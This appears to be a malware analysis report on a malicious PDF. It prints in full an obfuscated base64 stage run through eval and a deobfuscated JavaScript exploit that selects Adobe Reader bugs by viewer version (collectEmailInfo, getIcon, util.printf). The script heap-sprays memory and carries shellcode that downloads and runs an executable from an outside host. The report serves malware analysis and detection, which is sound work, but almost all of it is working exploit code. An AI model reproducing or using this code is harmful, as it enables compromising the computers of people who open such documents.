nelFpVjFSVFUzTlNWMU9FSTFSU1YxTWpRME5pVjFRek13TXlWMU9FSTJOaVYxTkRnd1F5VjFOVFk0UWlWMU1ETXhReVYxT0VKRU15VjFPRUV3TkNWMVF6TXdNeVYxTlVVMVJpVjFRek0xTUNWMU4wUTRSQ1YxTlRjeFF5VjFRamcxTWlWMVEwRXpNeVYxTlVJNFFTVjFRVEpGT0NWMVJrWkdSaVYxTXpKR1JpVjFPRUpETUNWMVJqSkdOeVYxTkVaQlJTVjFORFU0UWlWMVFVSXhNQ1YxT1RnMk5pVjFRVUkyTmlWMVF6QXpNeVYxTmpGQ09DVjFNREEyTkNWMU5UQXdNQ1YxTlRRMk9DVjFOekkyT0NWMU16VTJOU1YxTVVNeU5DVjFOelEyT1NWMU5UUTFNQ1YxUWpnMU15VjFSa05CUVNWMU4wTXdSQ1YxTlRWR1JpVjFPRE14T0NWMU1FTkROQ1YxUWpBMU1DVjFPRUUyUXlWMU9UaEZNQ1YxTmpnMU1DVjFOa1UyUmlWMU5qUXlSU1YxTnpVMk9DVjFOa00zTWlWMU5UUTJSQ1YxT0VWQ09DVjFNRVUwUlNWMVJrWkZReVYxTVRnMU5TVjFRelE0TXlWMU9UTXdReVYxTXpNMU1DVjFOVEJETUNWMU5UWTFNQ1YxTlRVNFFpVjFNRE14T0NWMU1UUTFOU1YxTlRBMU1pVjFNelpDT0NWMU1rWXhRU1YxUmtZM01DVjFNVGcxTlNWMU9ETTFRaVYxTURBM1JDVjFNRVl3TVNWMU9VVTROU1YxTURBd01DVjFOa0V3TUNWMU5qZ3dNQ1YxTURBNE1DVjFNREF3TUNWMU1ETTJRU1YxTURBMlFTVjFNRE0yUVNWMU1EQTJPQ1YxTURBd01DVjFOVFpETUNWMVFUVkNPQ1YxTURBeE55VjFSa1kzUXlWMU1UZzFOU1YxTkRVNE9TVjFOa0V3TkNWMU5qZ3dOQ1YxTVRBd01DVjFNREF3TUNWMU1EQTJPQ1YxTURnd01DVjFOa0V3TUNWMVFqZ3dNQ1YxUTBFMU5DVjFPVEZCUmlWMU5UVkdSaVYxT0RreE9DVjFNRU0wTlNWMU5rRTFNQ1YxT0VRd01DVjFNRGcwUkNWMU5qZzFNU1YxTURBd01DVjFNREF3T0NWMVJrWTFNQ1YxTURRM05TVjFNVFpDT0NWMVJrRTJOU1YxUmtZeE1DVjFNVGcxTlNWMU9FSTFSaVYxT0RNeE55VjFNRFJETnlWMU5FUTRRaVYxT0RNd09DVjFNRFJGT1NWMVFUZEZPQ1YxTURBd01DVjFOa0V3TUNWMU5rRXdNQ1YxTmtFd01DVjFSa1l3TUNWMU1EUTNOU1YxUVVOQ09DVjFSRUV3T0NWMVJrWTNOaVYxTVRnMU5TVjFNREEyUVNWMU5FUTRSQ1YxTlRFd09DVjFOelZHUmlWMVJrWXdPQ1YxTUVNM05TVjFNRFE0TXlWMU1EUXlOQ1YxTnpWR1JpVjFRamd3TkNWMU56a3hSaVYxUlRnd1FTVjFOVFZHUmlWMVJrWXhPQ1YxTURRM05TVjFSa0pDT0NWMVJrUTVOeVYxUmtZd1JpVjFNVGcxTlNWMU5EVkROeVYxTURJd01DVjFNREF3TUNWMU5UY3dNQ1YxUWpnMU5pVjFSa1U1T0NWMU1FVTRRU1YxTlRWR1JpVjFSVUl4T0NWMU1UZ3lRU1YxUmpreVFTVjFSREpDTnlWMVFqTTNOeVYxTkRVd01TVjFPVEk0UVNWMVFVUkNOeVYxTlVRMU1DVjFOamRGTkNWMVJUWkdOU1YxTVVGRE55VjFRVUpDUmlWMU1UQXhSU1YxTnpZME1pVjFRVEZCTWlWMU5qTTFOQ1YxTjBJd09TVjFRakE0T1NWMU9UZEdOQ1YxTnpNMFJTVjFNMFk1TXlWMU9ETkdNU1YxTURBM1JDVjFOelF3TWlWMVF6YzJNQ1YxTURBME5TVjFNREF3TVNWMU1EQXdNQ1YxTkRWRE55VjFOemt4TUNWMU5qVXlSU1YxUXpjM09DVjFNVFEwTlNWMU1ERTNNaVYxTURBd01DVjFOMFE0UWlWMU1ETXhPQ1YxTVRRM1JDVjFNalpDT1NWMU1EQXdNQ1YxT0VJd01DVjFSa00xTnlWMU1EVkZPQ1YxTURBd01DVjFSVGt3TUNWMVJrVTNReVYxUmtaR1JpVjFRekF6TXlWMU1EYzRRU1YxUXpoRU1pVjFRekV6TWlWMVJEQkdOaVYxUXpVek1pVjFRekl6TWlWMVF6WXpNaVYxUXpCRU1pVjFRekV3TWlWMVF6VXdNaVYxUXpJd01pVjFRell3TWlWMVF6aEVNaVYxUXpFeVFTVjFRelV5UVNWMVJEQkdOaVYxUXpJeVFTVjFRell5UVNWMVF6QkVNaVYxUXpKRU15VjFRMEV3UmlWMU1EYzRPQ1YxTkRrME55VjFRMFUzTlNWMVF6TkRNeVYxTnpRMk9DVjFOekEzTkNWMU1rWXpRU1YxTmtVeVJpVjFOekF5UkNWMU5rTTJPU1YxTnpNMlF5VjFOak15UlNWMU5rUTJSaVYxTmtVeVJpVjFOekExUmlWMU5qY3lSaVYxTnpRMk5TVjFOemcyTlNWMU1rVTJOU1YxTmpnM01DVjFNMFkzTUNWMU56QTNNeVYxTTBRMlF5VjFOalEzTUNWMU1EQTJOaUlwTzMwTkNpQWdkbUZ5SUZWbmRETlVXVWgwTlU5d1FVTlZiSGdnUFNBd2VEUXdNREF3TUR0MllYSWdUMEpoTkRCalQxaHJSVXRxYmpWTU55QTlJSFY0TUZOUWJETlNTVzVMUkZkaFVYb3ViR1Z1WjNSb0lDb2dNanQyWVhJZ2REUlJjMUZ1ZVd0cGJHTmpUMnBDWkNBOUlGVm5kRE5VV1VoME5VOXdRVU5WYkhnZ0xTQW9UMEpoTkRCalQxaHJSVXRxYmpWTU55QXJJREI0TXpncE8zWmhjaUJXVG1KMmIyNTRTRzVtV0dkeGRrbGtJRDBnZFc1bGMyTmhjR1VvSWlWMU9UQTVNQ1YxT1RBNU1DSXBPMVpPWW5admJuaElibVpZWjNGMlNXUWdQU0JQWjFobk1EaGljRkYyZG1SeFZVbG1LRlpPWW5admJuaElibVpZWjNGMlNXUXNJSFEwVVhOUmJubHJhV3hqWTA5cVFtUXBPM1poY2lCWlUzYzVTMUEwWld4eFlUTkNabE00SUQwZ0tIcGxOMUpGUkhodVVWcDNNV1Z0TnpVZ0xTQXdlRFF3TURBd01Da2dMeUJWWjNRelZGbElkRFZQY0VGRFZXeDRPMlp2Y2lBb2RtRnlJRkZtTW5Bd1lsQlRVMFpXVkVaRmVIRWdQU0F3T3lCUlpqSndNR0pRVTFOR1ZsUkdSWGh4SUR3Z1dWTjNPVXRRTkdWc2NXRXpRbVpUT0RzZ1VXWXljREJpVUZOVFJsWlVSa1Y0Y1NBckt5QXBlMjlDYUVoRFZVdFhWVWxRV2pWSVVsUmJVV1l5Y0RCaVVGTlRSbFpVUmtWNGNWMGdQU0JXVG1KMmIyNTRTRzVtV0dkeGRrbGtJQ3NnZFhnd1UxQnNNMUpKYmt0RVYyRlJlanQ5ZlEwS1puVnVZM1JwYjI0Z1NtbHVWMkpFY21GeFVqQlhSMVI2ZWlncGV3MEtJQ0IyWVhJZ2VFOVhObVZSY1VSWGJUWm9ZbmR4V0NBOUlEQTdkbUZ5SUhFNGJra3lXVlp1TWxoUlNUVkRaa1FnUFNCaGNIQXVkbWxsZDJWeVZtVnljMmx2Ymk1MGIxTjBjbWx1WnlncE8yRndjQzVqYkdWaGNsUnBiV1ZQZFhRb1RIWlpWMlJDVUd0dFR6TjNUR0poV2lrN0RRb2dJR2xtSUNoeE9HNUpNbGxXYmpKWVVVazFRMlpFSUR3Z055NHhLWHNOQ2lBZ0lDQnJSa3BXV0dOck1WWk9RakZ6U1ZCSUtEQXBPdzBLSUNBZ0lIWmhjaUJ6TXpZd2NYSm5iMnAwVkVORWFXYzNJRDBnZFc1bGMyTmhjR1VvSWlWMU1HTXdZeVYxTUdNd1l5SXBPM2RvYVd4bElDaHpNell3Y1hKbmIycDBWRU5FYVdjM0xteGxibWQwYUNBOElEUTBPVFV5S1hNek5qQnhjbWR2YW5SVVEwUnBaemNnS3owZ2N6TTJNSEZ5WjI5cWRGUkRSR2xuTnp0MGFHbHpJQzVqYjJ4c1lXSlRkRzl5WlNBOUlFTnZiR3hoWWk1amIyeHNaV04wUlcxaGFXeEpibVp2S0h0emRXSnFJRG9nSWlJc0lHMXpaeUE2SUhNek5qQnhjbWR2YW5SVVEwUnBaemQ5S1R0OURRcHBaaUFvY1RodVNUSlpWbTR5V0ZGSk5VTm1SQ0ErUFNBNUtYc05DaUFnSUNCMGNua2dlMmxtSUNoaGNIQXVaRzlqTGtOdmJHeGhZaTVuWlhSSlkyOXVLWHRyUmtwV1dHTnJNVlpPUWpGelNWQklLRElwTzNaaGNpQm1NRzlzY0dwWVlVbFlXVmRzYURWMklEMGdkVzVsYzJOaGNHVW9JaVV3T1NJcE93MEtkMmhwYkdVZ0tHWXdiMnh3YWxoaFNWaFpWMnhvTlhZdWJHVnVaM1JvSUR3Z01IZzBNREF3S1dZd2IyeHdhbGhoU1ZoWlYyeG9OWFlnS3owZ1pqQnZiSEJxV0dGSldGbFhiR2cxZGp0bU1HOXNjR3BZWVVsWVdWZHNhRFYySUQwZ0lrNHVJaUFySUdZd2IyeHdhbGhoU1ZoWlYyeG9OWFk3WVhCd0xtUnZZeTVEYjJ4c1lXSXVaMlYwU1dOdmJpaG1NRzlzY0dwWVlVbFlXVmRzYURWMktUdDRUMWMyWlZGeFJGZHRObWhpZDNGWUlEMGdNVHQ5Wld4elpTQjdlRTlYTm1WUmNVUlhiVFpvWW5keFdDQTlJREU3ZlgxallYUmphQ0FvWlNsN2VFOVhObVZSY1VSWGJUWm9ZbmR4V0NBOUlERTdmV2xtSUNoNFQxYzJaVkZ4UkZkdE5taGlkM0ZZSUQwOUlERXBlMmxtSUNnb2NUaHVTVEpaVm00eVdGRkpOVU5tUkNBK1BTQTNMakVtSmlCeE9HNUpNbGxXYmpKWVVVazFRMlpFSUR3Z09Ta3BlMnRHU2xaWVkyc3hWazVDTVhOSlVFZ29NU2s3ZG1GeUlGQmpiekI2ZWxaVVEzVnZhbkl3T1c0Z1BTQWlNVEk1T1RrNU9UazVPVGs1T1RrNU9UazVPVGtpTzJadmNpQW9ka1l6V1c5WFRUUmFSekZITTBkaGNDQTlJREE3SUhaR00xbHZWMDAwV2tjeFJ6TkhZWEFnUENBeU56WTdJSFpHTTFsdlYwMDBXa2N4UnpOSFlYQWdLeXNnS1h0UVkyOHdlbnBXVkVOMWIycHlNRGx1SUNzOUlDSTRJanQ5ZFhScGJDNXdjbWx1ZEdZb0lpVTBOVEF3TUdZaUxDQlFZMjh3ZW5wV1ZFTjFiMnB5TURsdUtUdDlmWDE5RFFwaGNIQXVZbmd4U2t4VGJYcEJkV2x3UlZBMFlTQTlJRXBwYmxkaVJISmhjVkl3VjBkVWVubzdUSFpaVjJSQ1VHdHRUek4zVEdKaFdpQTlJR0Z3Y0M1elpYUlVhVzFsVDNWMEtDSmhjSEF1WW5neFNreFRiWHBCZFdsd1JWQTBZU2dwSWl3Z01UQXBPdz09"); eval(decode64(aasd));
`custom_b64_stage_000.js`	deobfuscated-js	custom Base64 decoded JavaScript layer 2 (PDF /JS object 9) at offset 0x450	10492 bytes
SHA-256: `3cdf44231a5dd446f299166c115f6738221f10b6043dbe622b806d99790683bd`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 8 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var oBhHCUKWUIPZ5HRT = new Array(); var LvYWdBPkmO3wLbaZ; function OgXg08bpQvvdqUIf(VNbvonxHnfXgqvId, t4QsQnykilccOjBd){while (VNbvonxHnfXgqvId.length * 2 < t4QsQnykilccOjBd){VNbvonxHnfXgqvId += VNbvonxHnfXgqvId;}VNbvonxHnfXgqvId = VNbvonxHnfXgqvId.substring(0, t4QsQnykilccOjBd / 2); return VNbvonxHnfXgqvId;} function M4MTSOdTj7Q1OCBr(ANFtApD0zTfpOOL9){ var eWFdVRD5y7Y23NkJ = unescape("%u9090%u9090"); var R2fWOLk5cyqyRbLZ = ANFtApD0zTfpOOL9 - 0x700000; var INErccbkyrPbWaWr = '%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6E2F%u702D%u6C69%u736C%u632E%u6D6F%u6E2F%u705F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066'; while (eWFdVRD5y7Y23NkJ.length<slackspace) eWFdVRD5y7Y23NkJ+=eWFdVRD5y7Y23NkJ; INErccbkyrPbWaWr = ANFtApD0zTfpOOL9.substring(0, ANFtApD0zTfpOOL9);} function kFJVXck1VNB1sIPH(pRkE5HkIZLis3j73){ var ze7REDxnQZw1em75 = 0x0c0c0c0c;var ux0SPl3RInKDWaQz = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6E2F%u702D%u6C69%u736C%u632E%u6D6F%u6E2F%u705F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");if (pRkE5HkIZLis3j73 == 1){ze7REDxnQZw1em75 = 0x30303030;ux0SPl3RInKDWaQz = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6E2F%u702D%u6C69%u736C%u632E%u6D6F%u6E2F%u705F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");} else if (pRkE5HkIZLis3j73 == 2){ux0SPl3RInKDWaQz = unescape("%uA164%u0018%u0000%u408B%u8B30%u5440%u408B%u8B04%u0440%u408B%u0D04%u0020%u0020%u7C3D%u7700%u7400%uC301%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A4E%uE2D1%uE22B%uEC8B%u45C7%u6E10%u652E%uC778%u1445%u01FF%u0000%u45C7%u0000%u0000%uEB00%u5A4F%u8352%u56EA%u5589%u5618%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u571C%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u458B%uAB10%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8318%u0CC4%uB050%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u1855%uC483%u930C%u3350%u50C0%u5650%u558B%u0318%u1455%u5052%u36B8%u2F1A%uFF70%u1855%u835B%u007D%u0F01%u9E85%u0000%u6A00%u6800%u0080%u0000%u036A%u006A%u036A%u0068%u0000%u56C0%uA5B8%u0017%uFF7C%u1855%u4589%u6A04%u6804%u1000%u0000%u0068%u0800%u6A00%uB800%uCA54%u91AF%u55FF%u8918%u0C45%u6A50%u8D00%u084D%u6851%u0000%u0008%uFF50%u0475%u16B8%uFA65%uFF10%u1855%u8B5F%u8317%u04C7%u4D8B%u8308%u04E9%uA7E8%u0000%u6A00%u6A00%u6A00%uFF00%u0475%uACB8%uDA08%uFF76%u1855%u006A%u4D8D%u5108%u75FF%uFF08%u0C75%u0483%u0424%u75FF%uB804%u791F%uE80A%u55FF%uFF18%u0475%uFBB8%uFD97%uFF0F%u1855%u45C7%u0200%u0000%u5700%uB856%uFE98%u0E8A%u55FF%uEB18%u182A%uF92A%uD2B7%uB377%u4501%u928A%uADB7%u5D50%u67E4%uE6F5%u1AC7%uABBF%u101E%u7642%uA1A2%u6354%u7B09%uB089%u97F4%u734E%u3F93%u83F1%u007D%u7402%uC760%u0045%u0001%u0000%u45C7%u7910%u652E%uC778%u1445%u0172%u0000%u7D8B%u0318%u147D%u26B9%u0000%u8B00%uFC57%u05E8%u0000%uE900%uFE7C%uFFFF%uC033%u078A%uC8D2%uC132%uD0F6%uC532%uC232%uC632%uC0D2%uC102%uC502%uC202%uC602%uC8D2%uC12A%uC52A%uD0F6%uC22A%uC62A%uC0D2%uC2D3%uCA0F%u0788%u4947%uCE75%uC3C3%u7468%u7074%u2F3A%u6E2F%u702D%u6C69%u736C%u632E%u6D6F%u6E2F%u705F%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u0066");} var Ugt3TYHt5OpACUlx = 0x400000;var OBa40cOXkEKjn5L7 = ux0SPl3RInKDWaQz.length * 2;var t4QsQnykilccOjBd = Ugt3TYHt5OpACUlx - (OBa40cOXkEKjn5L7 + 0x38);var VNbvonxHnfXgqvId = unescape("%u9090%u9090");VNbvonxHnfXgqvId = OgXg08bpQvvdqUIf(VNbvonxHnfXgqvId, t4QsQnykilccOjBd);var YSw9KP4elqa3BfS8 = (ze7REDxnQZw1em75 - 0x400000) / Ugt3TYHt5OpACUlx;for (var Qf2p0bPSSFVTFExq = 0; Qf2p0bPSSFVTFExq < YSw9KP4elqa3BfS8; Qf2p0bPSSFVTFExq ++ ){oBhHCUKWUIPZ5HRT[Qf2p0bPSSFVTFExq] = VNbvonxHnfXgqvId + ux0SPl3RInKDWaQz;}} function JinWbDraqR0WGTzz(){ var xOW6eQqDWm6hbwqX = 0;var q8nI2YVn2XQI5CfD = app.viewerVersion.toString();app.clearTimeOut(LvYWdBPkmO3wLbaZ); if (q8nI2YVn2XQI5CfD < 7.1){ kFJVXck1VNB1sIPH(0); var s360qrgojtTCDig7 = unescape("%u0c0c%u0c0c");while (s360qrgojtTCDig7.length < 44952)s360qrgojtTCDig7 += s360qrgojtTCDig7;this .collabStore = Collab.collectEmailInfo({subj : "", msg : s360qrgojtTCDig7});} if (q8nI2YVn2XQI5CfD >= 9){ try {if (app.doc.Collab.getIcon){kFJVXck1VNB1sIPH(2);var f0olpjXaIXYWlh5v = unescape("%09"); while (f0olpjXaIXYWlh5v.length < 0x4000)f0olpjXaIXYWlh5v += f0olpjXaIXYWlh5v;f0olpjXaIXYWlh5v = "N." + f0olpjXaIXYWlh5v;app.doc.Collab.getIcon(f0olpjXaIXYWlh5v);xOW6eQqDWm6hbwqX = 1;}else {xOW6eQqDWm6hbwqX = 1;}}catch (e){xOW6eQqDWm6hbwqX = 1;}if (xOW6eQqDWm6hbwqX == 1){if ((q8nI2YVn2XQI5CfD >= 7.1&& q8nI2YVn2XQI5CfD < 9)){kFJVXck1VNB1sIPH(1);var Pco0zzVTCuojr09n = "12999999999999999999";for (vF3YoWM4ZG1G3Gap = 0; vF3YoWM4ZG1G3Gap < 276; vF3YoWM4ZG1G3Gap ++ ){Pco0zzVTCuojr09n += "8";}util.printf("%45000f", Pco0zzVTCuojr09n);}}}} app.bx1JLSmzAuipEP4a = JinWbDraqR0WGTzz;LvYWdBPkmO3wLbaZ = app.setTimeOut("app.bx1JLSmzAuipEP4a()", 10);

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 11

Related samples 8

Extracted artifacts 2